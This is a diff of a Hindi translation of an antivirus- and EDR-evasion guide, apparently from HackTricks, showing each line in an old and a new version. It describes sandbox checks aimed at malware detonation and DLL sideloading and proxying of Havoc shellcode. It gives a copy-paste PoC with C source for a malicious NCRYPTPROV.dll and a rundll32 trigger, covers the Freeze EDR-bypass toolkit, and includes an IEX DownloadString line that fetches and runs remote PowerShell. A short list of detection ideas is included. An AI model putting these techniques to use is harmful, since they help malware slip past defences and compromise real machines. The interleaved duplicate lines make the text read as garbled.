- **Sleep before execution** लागू करने के तरीके पर निर्भर करते हुए, यह AV के dynamic analysis को bypass करने का एक अच्छा तरीका हो सकता है। AVs के पास फ़ाइलों को scan करने के लिए बहुत कम समय होता है ताकि यूज़र के workflow में बाधा न आए, इसलिए लंबे sleep का उपयोग binaries के analysis को बाधित कर सकता है। समस्या यह है कि कई AVs की sandboxes sleep को implement करने के तरीके पर निर्भर करके skip कर सकती हैं।
|
||||||
यह AV के dynamic analysis को bypass करने का अच्छा तरीका हो सकता है, यह निर्भर करता है कि sandbox कैसे implement किया गया है। AVs के पास फाइलों को scan करने के लिए बहुत कम समय होता है ताकि यूज़र का workflow बाधित न हो, इसलिए लंबी sleeps analysis को प्रभावित कर सकती हैं। समस्या यह है कि कई AVs के sandboxes sleep को skip कर सकते हैं, यह implementation पर निर्भर करता है।
|
- **Checking machine's resources** आमतौर पर Sandboxes के पास काम करने के लिए बहुत कम resources होते हैं (उदा. < 2GB RAM), वरना वे यूज़र की मशीन को धीमा कर देते। आप यहाँ काफी creative भी हो सकते हैं, जैसे CPU के temperature या fan speeds जांचना — हर चीज़ sandbox में implement नहीं होगी।
|
||||||
- **Checking machine's resources**
|
- **Machine-specific checks** अगर आप किसी ऐसे यूज़र को टार्गेट करना चाहते हैं जिसकी workstation "contoso.local" domain से जुड़ी है, तो आप कंप्यूटर के domain की जाँच कर सकते हैं और अगर यह आपके specified से नहीं मिलता तो आपका प्रोग्राम exit कर सकता है।
|
||||||
आमतौर पर Sandboxes के पास काम करने के लिए बहुत कम resources होते हैं (उदाहरण के लिए < 2GB RAM), वरना वे यूज़र की मशीन को स्लो कर देंगे। आप यहाँ क्रिएटिव भी हो सकते हैं, जैसे CPU का temperature या fan speeds चेक करना — हर चीज़ sandbox में implement नहीं होती।
|
|
||||||
- **Machine-specific checks**
|
|
||||||
अगर आप किसी यूज़र को टार्गेट करना चाहते हैं जिसकी workstation "contoso.local" domain से जुड़ी है, तो आप computer के domain की जाँच कर सकते हैं और अगर वह match नहीं करता तो अपना प्रोग्राम exit करवा सकते हैं।
|
|
||||||
|
|
||||||
पता चला है कि Microsoft Defender के Sandbox का computername HAL9TH है, तो आप अपने malware में detonation से पहले कंप्यूटर नाम चेक कर सकते हैं — अगर नाम HAL9TH है तो आप defender के sandbox के अंदर हैं और अपना प्रोग्राम exit करवा सकते हैं।
|
पता चला है कि Microsoft Defender के Sandbox का computername HAL9TH है, इसलिए आप अपनी malware में detonation से पहले computer name की जाँच कर सकते हैं — अगर name HAL9TH से मेल खाता है तो आप समझ सकते हैं कि आप defender के sandbox के अंदर हैं और अपना प्रोग्राम exit कर सकते हैं।
|
||||||
|
|
||||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||||
|
|
||||||
Sandboxes के खिलाफ जाने के कुछ और बेहतरीन टिप्स [@mgeeky](https://twitter.com/mariuszbit) से
|
Sandboxes के खिलाफ जाने के लिए [@mgeeky](https://twitter.com/mariuszbit) से कुछ और बहुत अच्छे सुझाव
|
||||||
|
|
||||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev चैनल</p></figcaption></figure>
|
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||||
|
|
||||||
जैसा कि हमने ऊपर कहा, **public tools** अंततः **detect हो ही जाते हैं**, तो आपको अपने आप से यह सवाल पूछना चाहिए:
|
जैसा कि हमने पहले कहा है, **public tools** अंततः **detect हो ही जाते हैं**, तो आपको खुद से कुछ सवाल पूछने चाहिए:
|
||||||
|
|
||||||
उदाहरण के लिए, अगर आप LSASS dump करना चाहते हैं, **क्या आपको सचमुच mimikatz इस्तेमाल करना ज़रूरी है**? या क्या आप किसी ऐसे प्रोजेक्ट का इस्तेमाल कर सकते हैं जो कम जाना-पहचाना हो और LSASS भी dump कर दे?
|
उदाहरण के लिए, अगर आप LSASS dump करना चाहते हैं, **क्या आपको वास्तव में mimikatz का उपयोग करना जरूरी है**? या क्या आप कोई अन्य कम जाना-पहचाना प्रोजेक्ट इस्तेमाल कर सकते हैं जो LSASS dump भी करता हो।
|
||||||
|
|
||||||
सही जवाब शायद बाद वाला ही होगा। उदाहरण के तौर पर, mimikatz AVs और EDRs द्वारा सबसे ज़्यादा फ्लैग किए जाने वाले टूल्स में से एक है; जबकि यह प्रोजेक्ट खुद बहुत अच्छा है, AVs से बचने के लिहाज़ से इसके साथ काम करना मुश्किल होता है, इसलिए जो आप हासिल करना चाहते हैं उसके लिए alternatives ढूँढिए।
|
सही जवाब शायद बाद वाला होगा। mimikatz को लें, यह शायद AVs और EDRs द्वारा सबसे ज़्यादा flagged टूल्स में से एक है; जबकि यह प्रोजेक्ट खुद काफी अच्छा है, AVs के चारों ओर काम करके बचने के लिए इसके साथ काम करना एक दुःस्वप्न हो सकता है, इसलिए जो आप करना चाहते हैं उसके लिए alternatives खोजें।
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि Defender में **automatic sample submission** बंद हो, और कृपया गंभीरता से **DO NOT UPLOAD TO VIRUSTOTAL** अगर आपका लक्ष्य लम्बे समय में evasion हासिल करना है। अगर आप देखना चाहते हैं कि आपका payload किसी विशेष AV द्वारा detect होता है या नहीं, तो उसे VM पर इंस्टॉल करिए, automatic sample submission बंद करने की कोशिश कीजिए, और वहीं टेस्ट करते रहिए जब तक आप परिणाम से संतुष्ट न हों।
|
> जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि defender में automatic sample submission बंद है, और कृपया, गंभीरता से, **DO NOT UPLOAD TO VIRUSTOTAL** अगर आपका लक्ष्य लम्बे समय में evasion प्राप्त करना है। अगर आप देखना चाहते हैं कि आपका payload किसी particular AV द्वारा detect होता है या नहीं, तो उसे एक VM पर install करें, automatic sample submission बंद करने की कोशिश करें, और वहाँ तब तक टेस्ट करें जब तक आप परिणाम से संतुष्ट न हों।
|
||||||
|
|
||||||
## EXEs vs DLLs
|
## EXEs vs DLLs
|
||||||
|
|
||||||
जहाँ भी संभव हो, evasion के लिए हमेशा **DLLs का उपयोग प्राथमिकता दें**, मेरे अनुभव में DLL फाइलें आमतौर पर **काफ़ी कम detect** होती हैं और analyze भी कम होती हैं, इसलिए यह detection से बचने के लिए एक सरल ट्रिक है (बशर्ते आपका payload किसी तरीके से DLL के रूप में चल सके)।
|
जहाँ भी सम्भव हो, हमेशा evasion के लिए **DLLs का उपयोग प्राथमिकता दें**, मेरे अनुभव में DLL files आम तौर पर **काफ़ी कम detect** और analyze होते हैं, इसलिए यह detection से बचने के लिए एक बहुत ही सरल चाल है (अगर आपका payload किसी तरह DLL के रूप में चल सकता हो तो)।
|
||||||
|
|
||||||
जैसा कि इस इमेज में दिखता है, Havoc का एक DLL Payload antiscan.me पर 4/26 detection rate दिखा रहा है, जबकि EXE payload का detection rate 7/26 है।
|
जैसा कि हम इस इमेज में देख सकते हैं, Havoc का एक DLL Payload antiscan.me में 4/26 detection rate दिखा रहा है, जबकि EXE payload का detection rate 7/26 है।
|
||||||
|
|
||||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||||
|
|
||||||
अब हम कुछ ट्रिक्स दिखाएँगे जो आप DLL फाइल्स के साथ इस्तेमाल कर सकते हैं ताकि आप ज़्यादा stealthy रहें।
|
अब हम कुछ tricks दिखाएँगे जो आप DLL files के साथ उपयोग कर सकते हैं ताकि आप बहुत ज़्यादा stealthier हो सकें।
|
||||||
|
|
||||||
## DLL Sideloading & Proxying
|
## DLL Sideloading & Proxying
|
||||||
|
|
||||||
**DLL Sideloading** loader द्वारा उपयोग किए जाने वाले DLL search order का फायदा उठाती है — इसके लिए victim application और malicious payload(s) को एक दूसरे के साथ ही रखें।
|
**DLL Sideloading** loader द्वारा उपयोग किए जाने वाले DLL search order का फ़ायदा उठाता है, जहाँ attacker victim application और malicious payload(s) को एक साथ रखकर लक्ष्य करता है।
|
||||||
|
|
||||||
आप susceptible programs को DLL Sideloading के लिए [Siofra](https://github.com/Cybereason/siofra) और निम्नलिखित PowerShell script का उपयोग करके चेक कर सकते हैं:
|
आप [Siofra](https://github.com/Cybereason/siofra) और निम्न powershell script का उपयोग करके DLL Sideloading के प्रति susceptible programs की जाँच कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||||
$binarytoCheck = "C:\Program Files\" + $_
|
$binarytoCheck = "C:\Program Files\" + $_
|
||||||
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
यह कमांड "C:\Program Files\\" के अंदर DLL hijacking के प्रति संवेदनशील कार्यक्रमों की सूची और वे किन DLL फ़ाइलों को लोड करने की कोशिश करते हैं, आउटपुट करेगा।
|
This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load.
|
||||||
|
|
||||||
मैं दृढ़ता से सलाह देता/देती हूँ कि आप स्वयं **DLL Hijackable/Sideloadable programs** का अन्वेषण करें; यह तकनीक सही ढंग से की जाए तो काफी stealthy है, लेकिन यदि आप सार्वजनिक रूप से ज्ञात DLL Sideloadable प्रोग्राम्स का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
|
मैं दृढ़ता से सुझाव देता हूँ कि आप खुद **DLL Hijackable/Sideloadable programs** का अन्वेषण करें; यह तकनीक यदि सही तरीके से की जाए तो काफी stealthy है, लेकिन यदि आप publicly known DLL Sideloadable programs का उपयोग करते हैं तो आसानी से पकड़े जा सकते हैं।
|
||||||
|
|
||||||
केवल उस नाम की एक malicious DLL रख देने से जो कोई प्रोग्राम लोड करने की उम्मीद करता है, आपका payload नहीं चलेगा, क्योंकि प्रोग्राम उस DLL में कुछ विशिष्ट फ़ंक्शन्स की अपेक्षा करता है; इस समस्या को हल करने के लिए, हम एक अन्य तकनीक का उपयोग करेंगे जिसे **DLL Proxying/Forwarding** कहा जाता है।
|
सिर्फ़ उस नाम की malicious DLL रख देने भर से जो किसी प्रोग्राम को लोड करने की उम्मीद होती है, आपका payload नहीं चलेगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ specific functions अपेक्षित करता है; इस समस्या को ठीक करने के लिए हम एक और तकनीक का उपयोग करेंगे जिसे **DLL Proxying/Forwarding** कहा जाता है।
|
||||||
|
|
||||||
**DLL Proxying** प्रोग्राम द्वारा किए गए कॉल्स को proxy (and malicious) DLL से मूल DLL पर फॉरवर्ड करता है, इस प्रकार प्रोग्राम की कार्यक्षमता बनाए रखता है और आपके payload के निष्पादन को संभालने में सक्षम होता है।
|
**DLL Proxying** प्रोग्राम द्वारा की जाने वाली कॉल्स को proxy (और malicious) DLL से मूल DLL तक आगे बढ़ाता है, इस तरह प्रोग्राम की functionality बनी रहती है और यह आपके payload के execution को संभाल सकता है।
|
||||||
|
|
||||||
I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/)
|
मैं [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) प्रोजेक्ट का उपयोग कर रहा हूँ जो [@flangvik](https://twitter.com/Flangvik/) द्वारा है।
|
||||||
|
|
||||||
ये वे कदम हैं जो मैंने उठाए:
|
ये वे चरण हैं जिन्हें मैंने अपनाया:
|
||||||
```
|
```
|
||||||
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
|
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
|
||||||
2. Generate some shellcode (I used Havoc C2)
|
2. Generate some shellcode (I used Havoc C2)
|
||||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||||
```
|
```
|
||||||
अंतिम कमांड हमें 2 फ़ाइलें देगा: एक DLL स्रोत कोड टेम्पलेट, और मूल नाम बदलकर रखी गई DLL।
|
अंतिम कमांड हमें 2 फ़ाइलें देगा: एक DLL स्रोत कोड टेम्पलेट, और मूल पुनर्नामित DLL।
|
||||||
|
|
||||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||||
```
|
```
|
||||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||||
```
|
```
|
||||||
These are the results:
|
ये परिणाम हैं:
|
||||||
|
|
||||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Both our shellcode ([SGN](https://github.com/EgeBalci/sgn) से encoded) और proxy DLL का [antiscan.me](https://antiscan.me) पर 0/26 Detection rate है! मैं इसे सफलता कहूँगा।
|
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
|
||||||
|
|
||||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> मैं **दृढ़ता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) देखें DLL Sideloading के बारे में और [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें ताकि हमने जो चर्चा की है उसके बारे में और अधिक गहराई से जान सकें।
|
> मैं आपको **कठोरता से सुझाव देता हूँ** कि आप [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) देखें जो DLL Sideloading के बारे में है और साथ ही [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) भी देखें, ताकि आप उन बातों को जो हमने अधिक गहराई से चर्चा की हैं बेहतर समझ सकें।
|
||||||
|
|
||||||
### Abusing Forwarded Exports (ForwardSideLoading)
|
### Forwarded Exports (ForwardSideLoading) का दुरुपयोग
|
||||||
|
|
||||||
Windows PE modules ऐसे functions को export कर सकते हैं जो वास्तव में "forwarders" होते हैं: कोड की ओर इशारा करने के बजाय, export एंट्री में `TargetDll.TargetFunc` के रूप में एक ASCII string होता है। जब कोई caller उस export को resolve करता है, तो Windows loader:
|
Windows PE modules ऐसे functions export कर सकते हैं जो वास्तव में "forwarders" होते हैं: code की ओर संकेत करने की बजाय, export entry में ASCII string होती है जिसका स्वरूप `TargetDll.TargetFunc` होता है। जब कोई caller export को resolve करता है, तो Windows loader:
|
||||||
|
|
||||||
- यदि `TargetDll` पहले से लोड नहीं है तो इसे लोड करेगा
|
- यदि पहले से loaded नहीं है तो `TargetDll` को लोड करें
|
||||||
- और उससे `TargetFunc` को resolve करेगा
|
- उससे `TargetFunc` को resolve करें
|
||||||
|
|
||||||
समझने के लिए मुख्य व्यवहार:
|
समझने योग्य मुख्य व्यवहार:
|
||||||
- यदि `TargetDll` कोई KnownDLL है, तो यह protected KnownDLLs namespace से प्रदान किया जाता है (उदा., ntdll, kernelbase, ole32).
|
- यदि `TargetDll` KnownDLL है, तो यह सुरक्षित KnownDLLs namespace से प्रदान किया जाता है (उदा., ntdll, kernelbase, ole32)।
|
||||||
- यदि `TargetDll` KnownDLL नहीं है, तो सामान्य DLL खोज क्रम उपयोग किया जाता है, जिसमें उस मॉड्यूल की डायरेक्टरी शामिल है जो forward resolution कर रहा है।
|
- यदि `TargetDll` KnownDLL नहीं है, तो सामान्य DLL खोज क्रम उपयोग किया जाता है, जिसमें उस module की directory शामिल है जो forward resolution कर रहा है।
|
||||||
|
|
||||||
यह एक indirect sideloading primitive सक्षम करता है: एक signed DLL खोजें जो किसी non-KnownDLL module नाम की ओर forwarded function export करता हो, फिर उस signed DLL को उसी डायरेक्टरी में उस attacker-controlled DLL के साथ रखें जिसका नाम forwarded target module के नाम के बिल्कुल समान हो। जब forwarded export invoke किया जाता है, तो loader forward को resolve करके उसी डायरेक्टरी से आपकी DLL load कर लेता है और आपकी DllMain execute होती है।
|
यह एक indirect sideloading primitive सक्षम करता है: एक signed DLL खोजें जो किसी function को export करता है जो एक non-KnownDLL module नाम पर forward किया गया हो, फिर उस signed DLL को उसी directory में रखें साथ में एक attacker-controlled DLL जिसे forwarded target module के बिल्कुल उसी नाम से नामित किया गया हो। जब forwarded export invoke किया जाता है, loader forward को resolve करता है और उसी directory से आपका DLL लोड करता है, और आपका DllMain execute होता है।
|
||||||
|
|
||||||
Example observed on Windows 11:
|
Example observed on Windows 11:
|
||||||
```
|
```
|
||||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||||
```
|
```
|
||||||
`NCRYPTPROV.dll` एक KnownDLL नहीं है, इसलिए इसे सामान्य खोज क्रम के माध्यम से सुलझाया जाता है।
|
`NCRYPTPROV.dll` KnownDLL नहीं है, इसलिए इसे सामान्य खोज क्रम के माध्यम से ढूँढकर लोड किया जाता है।
|
||||||
|
|
||||||
PoC (copy-paste):
|
PoC (कॉपी-पेस्ट):
|
||||||
1) साइन की गई सिस्टम DLL को एक लिखने योग्य फ़ोल्डर में कॉपी करें
|
1) साइन किए गए सिस्टम DLL को एक लिखने योग्य फ़ोल्डर में कॉपी करें
|
||||||
```
|
```
|
||||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||||
```
|
```
|
||||||
2) उसी फ़ोल्डर में एक दुर्भावनापूर्ण `NCRYPTPROV.dll` रखें। एक न्यूनतम DllMain code execution के लिए पर्याप्त है; DllMain को ट्रिगर करने के लिए आपको forwarded function को लागू करने की ज़रूरत नहीं है।
|
2) उसी फ़ोल्डर में एक malicious `NCRYPTPROV.dll` रखें। एक न्यूनतम DllMain कोड निष्पादन प्राप्त करने के लिए पर्याप्त है; DllMain को ट्रिगर करने के लिए forwarded function को लागू करने की आवश्यकता नहीं है।
|
||||||
```c
|
```c
|
||||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
@ -154,35 +151,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
3) साइन किए गए LOLBin के साथ forward को ट्रिगर करें:
|
3) साइन किए गए LOLBin के साथ फ़ॉरवर्ड को ट्रिगर करें:
|
||||||
```
|
```
|
||||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||||
```
|
```
|
||||||
प्रेक्षित व्यवहार:
|
प्रेक्षित व्यवहार:
|
||||||
- rundll32 (signed) side-by-side `keyiso.dll` (signed) को लोड करता है
|
- rundll32 (साइन किया हुआ) side-by-side `keyiso.dll` (साइन किया हुआ) को लोड करता है
|
||||||
- जब `KeyIsoSetAuditingInterface` को रिज़ॉल्व किया जा रहा है, तो लोडर forward को `NCRYPTPROV.SetAuditingInterface` की ओर फॉलो करता है
|
- जब `KeyIsoSetAuditingInterface` को रिज़ॉल्व किया जा रहा है, तो लोडर फॉरवर्ड `NCRYPTPROV.SetAuditingInterface` का पालन करता है
|
||||||
- लोडर फिर `C:\test` से `NCRYPTPROV.dll` को लोड करता है और इसका `DllMain` execute करता है
|
- फिर लोडर `NCRYPTPROV.dll` को `C:\test` से लोड करता है और इसका `DllMain` निष्पादित करता है
|
||||||
- यदि `SetAuditingInterface` लागू नहीं है, तो आपको "missing API" error केवल तब मिलेगा जब `DllMain` पहले ही चल चुका होगा
|
- यदि `SetAuditingInterface` लागू नहीं है, तो आपको "missing API" त्रुटि केवल तब मिलेगी जब `DllMain` पहले ही चल चुका होगा
|
||||||
|
|
||||||
Hunting tips:
|
हंटिंग टिप्स:
|
||||||
- उन forwarded exports पर फोकस करें जहाँ target module KnownDLL नहीं है। KnownDLLs `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` के तहत सूचीबद्ध हैं।
|
- उन फॉरवर्ड किए गए एक्सपोर्ट्स पर ध्यान दें जहाँ लक्ष्य मॉड्यूल KnownDLL नहीं है। KnownDLLs इस स्थान पर सूचीबद्ध हैं: `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
|
||||||
- आप forwarded exports को निम्न उपकरणों से सूचीबद्ध कर सकते हैं:
|
- आप फॉरवर्ड किए गए एक्सपोर्ट्स को निम्नलिखित टूलिंग से सूचीबद्ध कर सकते हैं:
|
||||||
```
|
```
|
||||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||||
```
|
```
|
||||||
- उम्मीदवार खोजने के लिए Windows 11 forwarder इन्वेंटरी देखें: https://hexacorn.com/d/apis_fwd.txt
|
- Windows 11 forwarder इन्वेंटरी देखें ताकि उम्मीदवार खोज सकें: https://hexacorn.com/d/apis_fwd.txt
|
||||||
|
|
||||||
पता लगाने/रक्षा के विचार:
|
Detection/defense ideas:
|
||||||
- LOLBins (e.g., rundll32.exe) को मॉनिटर करें जब वे non-system paths से signed DLLs लोड करते हैं, और फिर उसी डायरेक्टरी से उसी base name वाले non-KnownDLLs को लोड किया जाता है
|
- LOLBins की निगरानी करें (e.g., rundll32.exe) जो non-system paths से signed DLLs लोड कर रहे हों, और फिर उसी डायरेक्टरी से उसी base name वाले non-KnownDLLs को लोड कर रहे हों
|
||||||
- ऐसे process/module chains पर अलर्ट करें: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` user-writable paths के तहत
|
- निम्न process/module chains पर अलर्ट करें: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` जो user-writable paths के तहत हों
|
||||||
- कोड इंटीग्रिटी नीतियों को लागू करें (WDAC/AppLocker) और application directories में write+execute को नकारें
|
- code integrity नीतियाँ लागू करें (WDAC/AppLocker) और application directories में write+execute निषेध करें
|
||||||
|
|
||||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||||
|
|
||||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||||
|
|
||||||
आप Freeze का उपयोग अपनी shellcode को गुप्त तरीके से लोड और निष्पादित करने के लिए कर सकते हैं।
|
आप Freeze का उपयोग अपने shellcode को लोड और execute करने के लिए गोपनीय तरीके से कर सकते हैं।
|
||||||
```
|
```
|
||||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||||
1. Generate some shellcode, in this case I used Havoc C2.
|
1. Generate some shellcode, in this case I used Havoc C2.
|
||||||
@ -192,11 +189,11 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Evasion सिर्फ एक बिल्ली और चूहे का खेल है, जो आज काम करता है वो कल डिटेक्ट हो सकता है, इसलिए कभी केवल एक ही टूल पर निर्भर न रहें; अगर संभव हो तो कई evasion तकनीकों को चेन करें।
|
> इवेशन सिर्फ एक बिल्ली और चूहे का खेल है — जो आज काम करता है, वह कल पकड़ा जा सकता है, इसलिए कभी भी सिर्फ एक टूल पर निर्भर न रहें; जहाँ संभव हो, कई evasion techniques को चेन करने की कोशिश करें।
|
||||||
|
|
||||||
## AMSI (Anti-Malware Scan Interface)
|
## AMSI (Anti-Malware Scan Interface)
|
||||||
|
|
||||||
AMSI को [fileless malware](https://en.wikipedia.org/wiki/Fileless_malware) को रोकने के लिए बनाया गया था। शुरुआत में, AV सिर्फ **files on disk** को स्कैन करने में सक्षम थे, इसलिए अगर आप किसी तरह payloads को **directly in-memory** execute कर लेते, तो AV कुछ नहीं कर सकता था, क्योंकि उसे पर्याप्त visibility नहीं मिलती थी।
|
AMSI को "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" को रोकने के लिए बनाया गया था। शुरुआत में, AVs केवल **files on disk** को स्कैन करने में सक्षम थे, इसलिए अगर आप payloads को किसी तरह **directly in-memory** execute कर पाते थे, तो AV कुछ भी करने में असमर्थ रहता क्योंकि उसे पर्याप्त visibility नहीं मिलती थी।
|
||||||
|
|
||||||
The AMSI feature is integrated into these components of Windows.
|
The AMSI feature is integrated into these components of Windows.
|
||||||
|
|
||||||
@ -206,39 +203,39 @@ The AMSI feature is integrated into these components of Windows.
|
|||||||
- JavaScript and VBScript
|
- JavaScript and VBScript
|
||||||
- Office VBA macros
|
- Office VBA macros
|
||||||
|
|
||||||
यह antivirus समाधानों को स्क्रिप्ट के व्यवहार को निरीक्षित करने की अनुमति देता है, स्क्रिप्ट सामग्री को एक ऐसे रूप में एक्सपोज़ करके जो अनएन्क्रिप्टेड और अनऑब्फ़सकेटेड दोनों हो।
|
यह antivirus solutions को script व्यवहार की जाँच करने की अनुमति देता है क्योंकि यह script की contents को unencrypted और unobfuscated रूप में एक्सपोज़ करता है।
|
||||||
|
|
||||||
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
|
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` Windows Defender पर निम्न alert उत्पन्न करेगा।
|
||||||
|
|
||||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
ध्यान दें कि यह `amsi:` को प्रीपेन्ड करता है और फिर उस executable का path दिखाता है जिससे स्क्रिप्ट चली — इस केस में powershell.exe
|
ध्यान दें कि यह `amsi:` को prepend करता है और फिर उस executable का path दिखाता है जिससे script चला था — इस मामले में, powershell.exe
|
||||||
|
|
||||||
हमने कोई फाइल disk पर नहीं छोड़ी, फिर भी AMSI के कारण in-memory में पकड़े गए।
|
हमने कोई file disk पर drop नहीं किया, फिर भी AMSI की वजह से in-memory पकड़े गए।
|
||||||
|
|
||||||
इसके अलावा, **.NET 4.8** से शुरू होकर, C# code भी AMSI के माध्यम से चलाया जाता है। यह `Assembly.Load(byte[])` के माध्यम से in-memory execution को भी प्रभावित करता है। इसलिए in-memory execution के लिए पुराने .NET वर्शन (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सलाह दी जाती है यदि आप AMSI से बचना चाहते हैं।
|
इसके अलावा, **.NET 4.8** से शुरू होकर, C# code भी AMSI के जरिए run किया जाता है। यह `Assembly.Load(byte[])` जैसी in-memory लोडिंग को भी प्रभावित करता है। इसलिए अगर आप AMSI से बचना चाहते हैं तो in-memory execution के लिए lower versions of .NET (जैसे 4.7.2 या उससे नीचे) का उपयोग करने की सिफारिश की जाती है।
|
||||||
|
|
||||||
There are a couple of ways to get around AMSI:
|
There are a couple of ways to get around AMSI:
|
||||||
|
|
||||||
- **Obfuscation**
|
- **Obfuscation**
|
||||||
|
|
||||||
